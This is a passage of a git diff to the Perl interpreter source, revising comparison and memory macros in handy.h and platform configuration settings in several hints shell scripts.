a literal string instead of a +=for apidoc Am|void|sv_catpvs_mg|SV* sv|const char* s +Like C, but takes a C-terminated literal string instead of a string/length pair. -=for apidoc Am|void|sv_setpvs|SV* sv|"literal string" s -Like C, but takes a literal string instead of a +=for apidoc Am|void|sv_setpvs|SV* sv|const char* s +Like C, but takes a C-terminated literal string instead of a string/length pair. -=for apidoc Am|void|sv_setpvs_mg|SV* sv|"literal string" s -Like C, but takes a literal string instead of a +=for apidoc Am|void|sv_setpvs_mg|SV* sv|const char* s +Like C, but takes a C-terminated literal string instead of a string/length pair. -=for apidoc Am|SV *|sv_setref_pvs|"literal string" s -Like C, but takes a literal string instead of +=for apidoc Am|SV *|sv_setref_pvs|const char* s +Like C, but takes a C-terminated literal string instead of a string/length pair. =head1 Memory Management -=for apidoc Ama|char*|savepvs|"literal string" s -Like C, but takes a literal string instead of a +=for apidoc Ama|char*|savepvs|const char* s +Like C, but takes a C-terminated literal string instead of a string/length pair. -=for apidoc Ama|char*|savesharedpvs|"literal string" s +=for apidoc Ama|char*|savesharedpvs|const char* s A version of C which allocates the duplicate string in memory which is shared between threads. =head1 GV Functions -=for apidoc Am|HV*|gv_stashpvs|"literal string" name|I32 create -Like C, but takes a literal string instead of a +=for apidoc Am|HV*|gv_stashpvs|const char* name|I32 create +Like C, but takes a C-terminated literal string instead of a string/length pair. =head1 Hash Manipulation Functions -=for apidoc Am|SV**|hv_fetchs|HV* tb|"literal string" key|I32 lval -Like C, but takes a literal string instead of a +=for apidoc Am|SV**|hv_fetchs|HV* tb|const char* key|I32 lval +Like C, but takes a C-terminated literal string instead of a string/length pair. -=for apidoc Am|SV**|hv_stores|HV* tb|"literal string" key|SV* val -Like C, but takes a literal string instead of a +=for apidoc Am|SV**|hv_stores|HV* tb|const char* key|NULLOK SV* val +Like C, but takes a C-terminated literal string instead of a string/length pair and omits the hash parameter. =head1 Lexer interface -=for apidoc Amx|void|lex_stuff_pvs|"literal string" pv|U32 flags +=for apidoc Amx|void|lex_stuff_pvs|const char *pv|U32 flags -Like L, but takes a literal string instead of +Like L, but takes a C-terminated literal string instead of a string/length pair. =cut @@ -441,90 +472,45 @@ are not equal. The C parameter indicates the number of bytes to compare. Returns zero if non-equal, or non-zero if equal. =cut - -New macros should use the following conventions for their names (which are -based on the underlying C library functions): - - (mem | str n? ) (EQ | NE | LT | GT | GE | (( BEGIN | END ) P? )) l? s? - - Each has two main parameters, string-like operands that are compared - against each other, as specified by the macro name. Some macros may - additionally have one or potentially even two length parameters. If a length - parameter applies to both string parameters, it will be positioned third; - otherwise any length parameter immediately follows the string parameter it - applies to. - - If the prefix to the name is 'str', the string parameter is a pointer to a C - language string. Such a string does not contain embedded NUL bytes; its - length may be unknown, but can be calculated by C, since it is - terminated by a NUL, which isn't included in its length. - - The optional 'n' following 'str' means that that there is a third parameter, - giving the maximum number of bytes to look at in each string. Even if both - strings are longer than the length parameter, those extra bytes will be - unexamined. - - The 's' suffix means that the 2nd byte string parameter is a literal C - double-quoted string. Its length will automatically be calculated by the - macro, so no length parameter will ever be needed for it. - - If the prefix is 'mem', the string parameters don't have to be C strings; - they may contain embedded NUL bytes, do not necessarily have a terminating - NUL, and their lengths can be known only through other means, which in - practice are additional parameter(s) passed to the function. All 'mem' - functions have at least one length parameter. Barring any 'l' or 's' suffix, - there is a single length parameter, in position 3, which applies to both - string parameters. The 's' suffix means, as described above, that the 2nd - string is a literal double-quoted C string (hence its length is calculated by - the macro, and the length parameter to the function applies just to the first - string parameter, and hence is positioned just after it). An 'l' suffix - means that the 2nd string parameter has its own length parameter, and the - signature will look like memFOOl(s1, l1, s2, l2). - - BEGIN (and END) are for testing if the 2nd string is an initial (or final) - substring of the 1st string. 'P' if present indicates that the substring - must be a "proper" one in tha mathematical sense that the first one must be - strictly larger than the 2nd. - */ -#define strNE(s1,s2) (strcmp(s1,s2) != 0) -#define strEQ(s1,s2) (strcmp(s1,s2) == 0) +#define strNE(s1,s2) (strcmp(s1,s2)) +#define strEQ(s1,s2) (!strcmp(s1,s2)) #define strLT(s1,s2) (strcmp(s1,s2) < 0) #define strLE(s1,s2) (strcmp(s1,s2) <= 0) #define strGT(s1,s2) (strcmp(s1,s2) > 0) #define strGE(s1,s2) (strcmp(s1,s2) >= 0) -#define strnNE(s1,s2,l) (strncmp(s1,s2,l) != 0) -#define strnEQ(s1,s2,l) (strncmp(s1,s2,l) == 0) +#define strnNE(s1,s2,l) (strncmp(s1,s2,l)) +#define strnEQ(s1,s2,l) (!strncmp(s1,s2,l)) -#define memNE(s1,s2,l) (memcmp(s1,s2,l) != 0) -#define memEQ(s1,s2,l) (memcmp(s1,s2,l) == 0) +/* These names are controversial, so guarding against their being used in more + * places than they already are. strBEGs and StrStartsWith are potential + * candidates */ +#if defined(PERL_IN_DOIO_C) || defined(PERL_IN_GV_C) || defined(PERL_IN_HV_C) || defined(PERL_IN_LOCALE_C) || defined(PERL_IN_PERL_C) || defined(PERL_IN_TOKE_C) || defined(PERL_EXT) +#define strNEs(s1,s2) (strncmp(s1,"" s2 "", sizeof(s2)-1)) +#define strEQs(s1,s2) (!strncmp(s1,"" s2 "", sizeof(s2)-1)) +#endif + +#ifdef HAS_MEMCMP +# define memNE(s1,s2,l) (memcmp(s1,s2,l)) +# define memEQ(s1,s2,l) (!memcmp(s1,s2,l)) +#else +# define memNE(s1,s2,l) (bcmp(s1,s2,l)) +# define memEQ(s1,s2,l) (!bcmp(s1,s2,l)) +#endif /* memEQ and memNE where second comparand is a string constant */ #define memEQs(s1, l, s2) \ (((sizeof(s2)-1) == (l)) && memEQ((s1), ("" s2 ""), (sizeof(s2)-1))) -#define memNEs(s1, l, s2) (! memEQs(s1, l, s2)) - -/* Keep these private until we decide it was a good idea */ -#if defined(PERL_CORE) || defined(PERL_EXT) || defined(PERL_EXT_POSIX) - -#define strBEGINs(s1,s2) (strncmp(s1,"" s2 "", sizeof(s2)-1) == 0) - -#define memBEGINs(s1, l, s2) \ - ( (l) >= sizeof(s2) - 1 \ - && memEQ(s1, "" s2 "", sizeof(s2)-1)) -#define memBEGINPs(s1, l, s2) \ - ( (l) > sizeof(s2) - 1 \ - && memEQ(s1, "" s2 "", sizeof(s2)-1)) -#define memENDs(s1, l, s2) \ - ( (l) >= sizeof(s2) - 1 \ - && memEQ(s1 + (l) - (sizeof(s2) - 1), "" s2 "", sizeof(s2)-1)) -#define memENDPs(s1, l, s2) \ - ( (l) > sizeof(s2) \ - && memEQ(s1 + (l) - (sizeof(s2) - 1), "" s2 "", sizeof(s2)-1)) -#endif /* End of making macros private */ +#define memNEs(s1, l, s2) !memEQs(s1, l, s2) + +/* memEQ and memNE where second comparand is a string constant + * and we can assume the length of s1 is at least that of the string */ +#define _memEQs(s1, s2) \ + (memEQ((s1), ("" s2 ""), (sizeof(s2)-1))) +#define _memNEs(s1, s2) (memNE((s1),("" s2 ""),(sizeof(s2)-1))) #define memLT(s1,s2,l) (memcmp(s1,s2,l) < 0) #define memLE(s1,s2,l) (memcmp(s1,s2,l) <= 0) @@ -1059,9 +1045,11 @@ patched there. The file as of this writing is cpan/Devel-PPPort/parts/inc/misc */ -/* Specify the widest unsigned type on the platform. */ -#ifdef QUADKIND -# define WIDEST_UTYPE U64 +/* Specify the widest unsigned type on the platform. Use U64TYPE because U64 + * is known only in the perl core, and this macro can be called from outside + * that */ +#ifdef HAS_QUAD +# define WIDEST_UTYPE U64TYPE #else # define WIDEST_UTYPE U32 #endif @@ -1125,13 +1113,7 @@ patched there. The file as of this writing is cpan/Devel-PPPort/parts/inc/misc * * The first group of these is ordered in what I (khw) estimate to be the * frequency of their use. This gives a slight edge to exiting a loop earlier - * (in reginclass() in regexec.c). Except \v should be last, as it isn't a - * real Posix character class, and some (small) inefficiencies in regular - * expression handling would be introduced by putting it in the middle of those - * that are. Also, cntrl and ascii come after the others as it may be useful - * to group these which have no members that match above Latin1, (or above - * ASCII in the latter case) */ - + * (in reginclass() in regexec.c) */ # define _CC_WORDCHAR 0 /* \w and [:word:] */ # define _CC_DIGIT 1 /* \d and [:digit:] */ # define _CC_ALPHA 2 /* [:alpha:] */ @@ -1142,6 +1124,17 @@ patched there. The file as of this writing is cpan/Devel-PPPort/parts/inc/misc # define _CC_ALPHANUMERIC 7 /* [:alnum:] */ # define _CC_GRAPH 8 /* [:graph:] */ # define _CC_CASED 9 /* [:lower:] or [:upper:] under /i */ + +#define _FIRST_NON_SWASH_CC 10 +/* The character classes above are implemented with swashes. The second group + * (just below) contains the ones implemented without. These are also sorted + * in rough order of the frequency of their use, except that \v should be last, + * as it isn't a real Posix character class, and some (small) inefficiencies in + * regular expression handling would be introduced by putting it in the middle + * of those that are. Also, cntrl and ascii come after the others as it may be + * useful to group these which have no members that match above Latin1, (or + * above ASCII in the latter case) */ + # define _CC_SPACE 10 /* \s, [:space:] */ # define _CC_PSXSPC _CC_SPACE /* XXX Temporary, can be removed when the deprecated isFOO_utf8() @@ -1208,8 +1201,36 @@ typedef enum { } _char_class_number; #endif +#define POSIX_SWASH_COUNT _FIRST_NON_SWASH_CC #define POSIX_CC_COUNT (_HIGHEST_REGCOMP_DOT_H_SYNC + 1) +#if defined(PERL_IN_UTF8_C) \ + || defined(PERL_IN_REGCOMP_C) \ + || defined(PERL_IN_REGEXEC_C) +# if _CC_WORDCHAR != 0 || _CC_DIGIT != 1 || _CC_ALPHA != 2 || _CC_LOWER != 3 \ + || _CC_UPPER != 4 || _CC_PUNCT != 5 || _CC_PRINT != 6 \ + || _CC_ALPHANUMERIC != 7 || _CC_GRAPH != 8 || _CC_CASED != 9 + #error Need to adjust order of swash_property_names[] +# endif + +/* This is declared static in each of the few files that this is #defined for + * to keep them from being publicly accessible. Hence there is a small amount + * of wasted space */ + +static const char* const swash_property_names[] = { + "XPosixWord", + "XPosixDigit", + "XPosixAlpha", + "XPosixLower", + "XPosixUpper", + "XPosixPunct", + "XPosixPrint", + "XPosixAlnum", + "XPosixGraph", + "Cased" +}; +#endif + START_EXTERN_C # ifdef DOINIT EXTCONST U32 PL_charclass[] = { @@ -1381,7 +1402,7 @@ END_EXTERN_C # define isGRAPH_L1(c) (isPRINT_L1(c) && (! isBLANK_L1(c))) # define isLOWER_L1(c) (isLOWER_A(c) \ || (FITS_IN_8_BITS(c) \ - && (( NATIVE_TO_LATIN1((U8) c) >= 0xDF \ + && ((NATIVE_TO_LATIN1((U8) c) >= 0xDF \ && NATIVE_TO_LATIN1((U8) c) != 0xF7) \ || NATIVE_TO_LATIN1((U8) c) == 0xAA \ || NATIVE_TO_LATIN1((U8) c) == 0xBA \ @@ -1391,7 +1412,7 @@ END_EXTERN_C && NATIVE_TO_LATIN1((U8) c) >= 0xA0)) # define isPUNCT_L1(c) (isPUNCT_A(c) \ || (FITS_IN_8_BITS(c) \ - && ( NATIVE_TO_LATIN1((U8) c) == 0xA1 \ + && (NATIVE_TO_LATIN1((U8) c) == 0xA1 \ || NATIVE_TO_LATIN1((U8) c) == 0xA7 \ || NATIVE_TO_LATIN1((U8) c) == 0xAB \ || NATIVE_TO_LATIN1((U8) c) == 0xB6 \ @@ -1400,11 +1421,11 @@ END_EXTERN_C || NATIVE_TO_LATIN1((U8) c) == 0xBF))) # define isSPACE_L1(c) (isSPACE_A(c) \ || (FITS_IN_8_BITS(c) \ - && ( NATIVE_TO_LATIN1((U8) c) == 0x85 \ + && (NATIVE_TO_LATIN1((U8) c) == 0x85 \ || NATIVE_TO_LATIN1((U8) c) == 0xA0))) # define isUPPER_L1(c) (isUPPER_A(c) \ || (FITS_IN_8_BITS(c) \ - && ( NATIVE_TO_LATIN1((U8) c) >= 0xC0 \ + && (NATIVE_TO_LATIN1((U8) c) >= 0xC0 \ && NATIVE_TO_LATIN1((U8) c) <= 0xDE \ && NATIVE_TO_LATIN1((U8) c) != 0xD7))) # define isWORDCHAR_L1(c) (isIDFIRST_L1(c) || isDIGIT_A(c)) @@ -1851,6 +1872,13 @@ _generic_utf8_safe(classnum, p, e, _is_utf8_FOO_with_len(classnum, p, e)) ? 0 /* Note that doesn't check validity for latin1 */ \ : above_latin1) +/* NOTE that some of these macros have very similar ones in regcharclass.h. + * For example, there is (at the time of this writing) an 'is_SPACE_utf8()' + * there, differing in name only by an underscore from the one here + * 'isSPACE_utf8(). The difference is that the ones here are probably more + * efficient and smaller, using an O(1) array lookup for Latin1-range code + * points; the regcharclass.h ones are implemented as a series of + * "if-else-if-else ..." */ #define isALPHA_utf8(p) _generic_utf8(ALPHA, p) #define isALPHANUMERIC_utf8(p) _generic_utf8(ALPHANUMERIC, p) @@ -2230,9 +2258,8 @@ PoisonWith(0xEF) for catching access to freed memory. #define NEWSV(x,len) newSV(len) #endif -#define MEM_SIZE_MAX ((MEM_SIZE)-1) +#define MEM_SIZE_MAX ((MEM_SIZE)~0) -#define _PERL_STRLEN_ROUNDUP_UNCHECKED(n) (((n) - 1 + PERL_STRLEN_ROUNDUP_QUANTUM) & ~((MEM_SIZE)PERL_STRLEN_ROUNDUP_QUANTUM - 1)) #ifdef PERL_MALLOC_WRAP @@ -2247,8 +2274,7 @@ PoisonWith(0xEF) for catching access to freed memory. */ # define _MEM_WRAP_NEEDS_RUNTIME_CHECK(n,t) \ - ( sizeof(MEM_SIZE) < sizeof(n) \ - || sizeof(t) > ((MEM_SIZE)1 << 8*(sizeof(MEM_SIZE) - sizeof(n)))) + (8 * sizeof(n) + sizeof(t) > sizeof(MEM_SIZE)) /* This is written in a slightly odd way to avoid various spurious * compiler warnings. We *want* to write the expression as @@ -2279,22 +2305,17 @@ PoisonWith(0xEF) for catching access to freed memory. (void)(UNLIKELY(_MEM_WRAP_WILL_WRAP(n,t)) \ && (Perl_croak_nocontext("%s",(a)),0)) -/* "a" arg must be a string literal */ -# define MEM_WRAP_CHECK_s(n,t,a) \ - (void)(UNLIKELY(_MEM_WRAP_WILL_WRAP(n,t)) \ - && (Perl_croak_nocontext("" a ""),0)) - #define MEM_WRAP_CHECK_(n,t) MEM_WRAP_CHECK(n,t), -#define PERL_STRLEN_ROUNDUP(n) ((void)(((n) > MEM_SIZE_MAX - 2 * PERL_STRLEN_ROUNDUP_QUANTUM) ? (croak_memory_wrap(),0) : 0), _PERL_STRLEN_ROUNDUP_UNCHECKED(n)) +#define PERL_STRLEN_ROUNDUP(n) ((void)(((n) > MEM_SIZE_MAX - 2 * PERL_STRLEN_ROUNDUP_QUANTUM) ? (croak_memory_wrap(),0):0),((n-1+PERL_STRLEN_ROUNDUP_QUANTUM)&~((MEM_SIZE)PERL_STRLEN_ROUNDUP_QUANTUM-1))) #else #define MEM_WRAP_CHECK(n,t) #define MEM_WRAP_CHECK_1(n,t,a) -#define MEM_WRAP_CHECK_s(n,t,a) +#define MEM_WRAP_CHECK_2(n,t,a,b) #define MEM_WRAP_CHECK_(n,t) -#define PERL_STRLEN_ROUNDUP(n) _PERL_STRLEN_ROUNDUP_UNCHECKED(n) +#define PERL_STRLEN_ROUNDUP(n) (((n-1+PERL_STRLEN_ROUNDUP_QUANTUM)&~((MEM_SIZE)PERL_STRLEN_ROUNDUP_QUANTUM-1))) #endif @@ -2388,20 +2409,18 @@ void Perl_mem_log_del_sv(const SV *sv, const char *filename, const int linenumbe #define Safefree(d) safefree(MEM_LOG_FREE((Malloc_t)(d))) #endif -/* assert that a valid ptr has been supplied - use this instead of assert(ptr) * - * as it handles cases like constant string arguments without throwing warnings * - * the cast is required, as is the inequality check, to avoid warnings */ -#define perl_assert_ptr(p) assert( ((void*)(p)) != 0 ) +#define Move(s,d,n,t) (MEM_WRAP_CHECK_(n,t) (void)memmove((char*)(d),(const char*)(s), (n) * sizeof(t))) +#define Copy(s,d,n,t) (MEM_WRAP_CHECK_(n,t) (void)memcpy((char*)(d),(const char*)(s), (n) * sizeof(t))) +#define Zero(d,n,t) (MEM_WRAP_CHECK_(n,t) (void)memzero((char*)(d), (n) * sizeof(t))) - -#define Move(s,d,n,t) (MEM_WRAP_CHECK_(n,t) perl_assert_ptr(d), perl_assert_ptr(s), (void)memmove((char*)(d),(const char*)(s), (n) * sizeof(t))) -#define Copy(s,d,n,t) (MEM_WRAP_CHECK_(n,t) perl_assert_ptr(d), perl_assert_ptr(s), (void)memcpy((char*)(d),(const char*)(s), (n) * sizeof(t))) -#define Zero(d,n,t) (MEM_WRAP_CHECK_(n,t) perl_assert_ptr(d), (void)memzero((char*)(d), (n) * sizeof(t))) - -/* Like above, but returns a pointer to 'd' */ -#define MoveD(s,d,n,t) (MEM_WRAP_CHECK_(n,t) perl_assert_ptr(d), perl_assert_ptr(s), memmove((char*)(d),(const char*)(s), (n) * sizeof(t))) -#define CopyD(s,d,n,t) (MEM_WRAP_CHECK_(n,t) perl_assert_ptr(d), perl_assert_ptr(s), memcpy((char*)(d),(const char*)(s), (n) * sizeof(t))) -#define ZeroD(d,n,t) (MEM_WRAP_CHECK_(n,t) perl_assert_ptr(d), memzero((char*)(d), (n) * sizeof(t))) +#define MoveD(s,d,n,t) (MEM_WRAP_CHECK_(n,t) memmove((char*)(d),(const char*)(s), (n) * sizeof(t))) +#define CopyD(s,d,n,t) (MEM_WRAP_CHECK_(n,t) memcpy((char*)(d),(const char*)(s), (n) * sizeof(t))) +#ifdef HAS_MEMSET +#define ZeroD(d,n,t) (MEM_WRAP_CHECK_(n,t) memzero((char*)(d), (n) * sizeof(t))) +#else +/* Using bzero(), which returns void. */ +#define ZeroD(d,n,t) (MEM_WRAP_CHECK_(n,t) memzero((char*)(d), (n) * sizeof(t)),d) +#endif #define PoisonWith(d,n,t,b) (MEM_WRAP_CHECK_(n,t) (void)memset((char*)(d), (U8)(b), (n) * sizeof(t))) #define PoisonNew(d,n,t) PoisonWith(d,n,t,0xAB) @@ -2414,7 +2433,11 @@ void Perl_mem_log_del_sv(const SV *sv, const char *filename, const int linenumbe # define PERL_POISON_EXPR(x) #endif +#ifdef USE_STRUCT_COPY #define StructCopy(s,d,t) (*((t*)(d)) = *((t*)(s))) +#else +#define StructCopy(s,d,t) Copy(s,d,1,t) +#endif /* C_ARRAY_LENGTH is the number of elements in the C array (so you * want your zero-based indices to be less than but not equal to). @@ -2427,10 +2450,12 @@ void Perl_mem_log_del_sv(const SV *sv, const char *filename, const int linenumbe #ifdef NEED_VA_COPY # ifdef va_copy # define Perl_va_copy(s, d) va_copy(d, s) -# elif defined(__va_copy) -# define Perl_va_copy(s, d) __va_copy(d, s) # else -# define Perl_va_copy(s, d) Copy(s, d, 1, va_list) +# if defined(__va_copy) +# define Perl_va_copy(s, d) __va_copy(d, s) +# else +# define Perl_va_copy(s, d) Copy(s, d, 1, va_list) +# endif # endif #endif @@ -2471,28 +2496,32 @@ void Perl_mem_log_del_sv(const SV *sv, const char *filename, const int linenumbe # if Uid_t_size > IVSIZE # define sv_setuid(sv, uid) sv_setnv((sv), (NV)(uid)) # define SvUID(sv) SvNV(sv) -# elif Uid_t_sign <= 0 -# define sv_setuid(sv, uid) sv_setiv((sv), (IV)(uid)) -# define SvUID(sv) SvIV(sv) # else -# define sv_setuid(sv, uid) sv_setuv((sv), (UV)(uid)) -# define SvUID(sv) SvUV(sv) +# if Uid_t_sign <= 0 +# define sv_setuid(sv, uid) sv_setiv((sv), (IV)(uid)) +# define SvUID(sv) SvIV(sv) +# else +# define sv_setuid(sv, uid) sv_setuv((sv), (UV)(uid)) +# define SvUID(sv) SvUV(sv) +# endif # endif /* Uid_t_size */ # if Gid_t_size > IVSIZE # define sv_setgid(sv, gid) sv_setnv((sv), (NV)(gid)) # define SvGID(sv) SvNV(sv) -# elif Gid_t_sign <= 0 -# define sv_setgid(sv, gid) sv_setiv((sv), (IV)(gid)) -# define SvGID(sv) SvIV(sv) # else -# define sv_setgid(sv, gid) sv_setuv((sv), (UV)(gid)) -# define SvGID(sv) SvUV(sv) +# if Gid_t_sign <= 0 +# define sv_setgid(sv, gid) sv_setiv((sv), (IV)(gid)) +# define SvGID(sv) SvIV(sv) +# else +# define sv_setgid(sv, gid) sv_setuv((sv), (UV)(gid)) +# define SvGID(sv) SvUV(sv) +# endif # endif /* Gid_t_size */ #endif -#endif /* PERL_HANDY_H_ */ +#endif /* HANDY_H */ /* * ex: set ts=8 sts=4 sw=4 et: diff --git a/hints/aix.sh b/hints/aix.sh index 7880ed3c806c..2f0ba4edcfb3 100644 --- a/hints/aix.sh +++ b/hints/aix.sh @@ -238,19 +238,19 @@ case "$usethreads" in ccflags="$ccflags -DNEED_PTHREAD_INIT" case "$cc" in - *gcc*|*g++*) - ccflags="-D_THREAD_SAFE $ccflags" + *gcc*|*g++*) + ccflags="-D_THREAD_SAFE $ccflags" ;; - cc_r) + cc_r) ;; - xlc_r) + xlc_r) ;; # we do not need the C++ compiler - xlC_r) - cc=xlc_r + xlC_r) + cc=xlc_r ;; - '') - cc=cc_r + '') + cc=cc_r ;; *) esac @@ -266,11 +266,11 @@ case "$usethreads" in ;; *) case "$cc" in - xlc) + xlc) ;; # we do not need the C++ compiler - xlC) - cc=xlc + xlC) + cc=xlc ;; *) esac diff --git a/hints/catamount.sh b/hints/catamount.sh index 9fcb49743668..ef74ccaba3ad 100644 --- a/hints/catamount.sh +++ b/hints/catamount.sh @@ -31,11 +31,11 @@ # mkdir -p /opt/perl-catamount # mkdir -p /opt/perl-catamount/include # mkdir -p /opt/perl-catamount/lib -# mkdir -p /opt/perl-catamount/lib/perl5/5.29.0 +# mkdir -p /opt/perl-catamount/lib/perl5/5.26.2 # mkdir -p /opt/perl-catamount/bin # cp *.h /opt/perl-catamount/include # cp libperl.a /opt/perl-catamount/lib -# cp -pr lib/* /opt/perl-catamount/lib/perl5/5.29.0 +# cp -pr lib/* /opt/perl-catamount/lib/perl5/5.26.2 # cp miniperl perl run.sh cc.sh /opt/perl-catamount/lib # # With the headers and the libperl.a you can embed Perl to your Catamount @@ -77,6 +77,7 @@ archname='x86_64-catamount' archobjs='catalib.o' d_mmap='undef' d_setlocale='undef' # There is setlocale() but no locales. +d_vprintf='define' hintfile='catamount' i_arpainet='undef' i_db='undef' diff --git a/hints/darwin.sh b/hints/darwin.sh index feb15f6b4f0d..690fe4e3ce0a 100644 --- a/hints/darwin.sh +++ b/hints/darwin.sh @@ -511,20 +511,3 @@ if test "$d_unsetenv" = "$define" -a \ ccflags="$ccflags -DPERL_USE_SAFE_PUTENV" fi EOOVER - -# if you use a newer toolchain before OS X 10.9 these functions may be -# incorrectly detected, so disable them -# OS X 10.10.x corresponds to kernel 14.x -case "$osvers" in - [1-9].*|1[0-3].*) - d_linkat=undef - d_openat=undef - d_renameat=undef - d_unlinkat=undef - d_fchmodat=undef - ;; -esac - -# mkostemp() was autodetected as present but found to not be linkable -# on 15.6.0. Unknown what other OS versions are affected. -d_mkostemp=undef diff --git a/hints/epix.sh b/hints/epix.sh index 8967f03c8629..14326b544f89 100644 --- a/hints/epix.sh +++ b/hints/epix.sh @@ -55,6 +55,7 @@ libswanted=`echo " $libswanted " | sed -e 's/ malloc / /'` # -e 's/ ucb / /'` # it is needed for ODBM_File and NDBM_File extensions. if [ -r /usr/ucblib/libucb.a ]; then # If using BSD-compat. library: # Use the "native" counterparts, not the BSD emulation stuff: + d_bcmp='undef'; d_bcopy='undef'; d_bzero='undef'; d_safebcpy='undef' d_index='undef'; d_killpg='undef'; d_getprior='undef'; d_setprior='undef' d_setlinebuf='undef'; d_setregid='undef'; d_setreuid='undef' fi diff --git a/hints/freebsd.sh b/hints/freebsd.sh index bf8906943773..b3422c9ecc90 100644 --- a/hints/freebsd.sh +++ b/hints/freebsd.sh @@ -318,22 +318,8 @@ esac # of FreeBSD. d_printf_format_null='undef' -# See [perl #128867] -# Interpreting: https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=211743#c10 -# khw workaround no longer needed in the following FREEBSD_KERNEL_VERSIONs -#1200004 and up -#1100502 >= version < 1200000 -#1003507 >= version < 1100000 -# Experiments have shown that this doesn't fully work. The first kernel we know it works is 1200056 - -FREEBSD_KERNEL_VERSION=`uname -U` -#if [ $FREEBSD_KERNEL_VERSION -lt 1003507 ] || \ -# [ $FREEBSD_KERNEL_VERSION -ge 1100000 ] && [ $FREEBSD_KERNEL_VERSION -lt 1100502 ] || \ -# [ $FREEBSD_KERNEL_VERSION -ge 1200000 ] && [ $FREEBSD_KERNEL_VERSION -lt 1200004 ] -if [ $FREEBSD_KERNEL_VERSION -lt 1200056 ] -then - d_uselocale='undef' -fi +# As of 10.3-RELEASE FreeBSD. See [perl #128867] +d_uselocale='undef' # https://rt.perl.org/Ticket/Display.html?id=131337 # Reported in 11.0-CURRENT with g++-4.8.5: @@ -345,10 +331,3 @@ case "$cc" in ;; esac -case `uname -p` in -arm|mips) - ;; -*) - test "$optimize" || optimize='-O2' - ;; -esac diff --git a/hints/hpux.sh b/hints/hpux.sh index 91a4d7d38873..b2650a74a23a 100644 --- a/hints/hpux.sh +++ b/hints/hpux.sh @@ -812,10 +812,3 @@ case "`grep 'isfinite' /usr/include/math.h`" in *"isfinite"*) ;; *) d_isfinite=undef ;; esac - -# 11.23 says it has mbrlen and mbrtowc, but compiling them fails as it can't -# find the type definition for mbstate_t which one of the parameters is. It's -# not in the hdr the man page says it is. Perhaps a better Configure probe is -# needed, but for now simply undefine them -d_mbrlen='undef' -d_mbrtowc='undef' diff --git a/hints/irix_4.sh b/hints/irix_4.sh index 26c29488c74f..5c5bdb2f0d0e 100644 --- a/hints/irix_4.sh +++ b/hints/irix_4.sh @@ -19,7 +19,7 @@ esac # cat <<'EOM' >&4 If you have problems, you might have try including - -cckr + -DSTANDARD_C -cckr in ccflags. EOM diff --git a/hints/irix_6.sh b/hints/irix_6.sh index f16ae461d11d..832fde29bff7 100644 --- a/hints/irix_6.sh +++ b/hints/irix_6.sh @@ -580,7 +580,10 @@ $define|true|[yY]*) #define sPRIfldbl $sPRIfldbl +#define I_STDLIB $i_stdlib +#ifdef I_STDLIB #include +#endif int main() { @@ -619,7 +622,10 @@ EOP #define sPRIfldbl $sPRIfldbl +#define I_STDLIB $i_stdlib +#ifdef I_STDLIB #include +#endif int main() { diff --git a/hints/mips.sh b/hints/mips.sh index 61ab39af325c..bc0b7e807376 100644 --- a/hints/mips.sh +++ b/hints/mips.sh @@ -1,4 +1,5 @@ perl_cflags='optimize="-g"' +d_volatile=undef d_castneg=undef cc=cc glibpth="/usr/lib/cmplrs/cc $glibpth" diff --git a/hints/netbsd.sh b/hints/netbsd.sh index 445680d8bad8..6f0dd7425031 100644 --- a/hints/netbsd.sh +++ b/hints/netbsd.sh @@ -254,14 +254,3 @@ esac case "$usemymalloc" in '') usemymalloc=n ;; esac - -# NetBSD 6 defines the *at() functions in libc, but either doesn't -# implement them, or implements them only for AT_FDCWD -case "$osver" in -[1-6].*) - d_unlinkat="$undef" - d_renameat="$undef" - d_linkat="$undef" - d_fchmodat="$undef" - ;; -esac diff --git a/hints/svr4.sh b/hints/svr4.sh index 756dfcdc5bca..34a00ab3f224 100644 --- a/hints/svr4.sh +++ b/hints/svr4.sh @@ -25,6 +25,7 @@ libswanted=`echo " $libswanted " | sed -e 's/ malloc / /'` # -e 's/ ucb / /'` if [ -r /usr/ucblib/libucb.a ]; then # If using BSD-compat. library: gconvert_preference='gcvt sprintf' # Try gcvt() before gconvert(). # Use the "native" counterparts, not the BSD emulation stuff: + d_bcmp='undef' d_bcopy='undef' d_bzero='undef' d_safebcpy='undef' d_index='undef' d_killpg='undef' d_getprior='undef' d_setprior='undef' d_setlinebuf='undef' # d_setregid='undef' d_setreuid='undef' # ??? @@ -88,9 +89,13 @@ if [ "$uw_isuw" = "Release = 4.2MP" ]; then case $uw_ver in 2.1) d_csh='undef' + d_memcpy='define' + d_memset='define' ;; 2.1.*) d_csh='undef' + d_memcpy='define' + d_memset='define' stdio_cnt='((fp)->__cnt)' d_stdio_cnt_lval='define' stdio_ptr='((fp)->__ptr)' @@ -102,6 +107,8 @@ if [ "$uw_isuw" = "Release = 5" ]; then case $uw_ver in 7) d_csh='undef' + d_memcpy='define' + d_memset='define' stdio_cnt='((fp)->__cnt)' d_stdio_cnt_lval='define' stdio_ptr='((fp)->__ptr)' diff --git a/hints/svr5.sh b/hints/svr5.sh index 45a8b715197a..e0b5b619b671 100644 --- a/hints/svr5.sh +++ b/hints/svr5.sh @@ -92,6 +92,7 @@ glibpth=`echo " $glibpth " | sed -e 's/ \/shlib / /' -e 's/ \/lib / /'` # Don't use BSD emulation pieces (/usr/ucblib) regardless # these would probably be autonondetected anyway but ... gconvert_preference='gcvt sprintf' # Try gcvt() before gconvert(). +d_bcopy='undef' d_bcmp='undef' d_bzero='undef' d_safebcpy='undef' d_index='undef' d_killpg='undef' d_getprior='undef' d_setprior='undef' d_setlinebuf='undef' d_setregid='undef' d_setreuid='undef' # -- in /usr/lib/libc.so.1 @@ -119,11 +120,14 @@ if [ "$uw_isuw" = "UnixWare" -o "$uw_isuw" = "OpenUNIX" ]; then case $uw_ver in 8.*|7.1*) d_csh='undef' + d_memcpy='define' + d_memset='define' stdio_cnt='((fp)->__cnt)' d_stdio_cnt_lval='define' stdio_ptr='((fp)->__ptr)' d_stdio_ptr_lval='define' + d_bcopy='define' # In /usr/lib/libc.so.1 d_setregid='define' # " d_setreuid='define' # " @@ -133,6 +137,8 @@ if [ "$uw_isuw" = "UnixWare" -o "$uw_isuw" = "OpenUNIX" ]; then ;; 7*) d_csh='undef' + d_memcpy='define' + d_memset='define' stdio_cnt='((fp)->__cnt)' d_stdio_cnt_lval='define' stdio_ptr='((fp)->__ptr)' diff --git a/hints/ultrix_4.sh b/hints/ultrix_4.sh index f32f06dba361..e7360821ffee 100644 --- a/hints/ultrix_4.sh +++ b/hints/ultrix_4.sh @@ -38,6 +38,10 @@ case "$cc" in *4.2*) 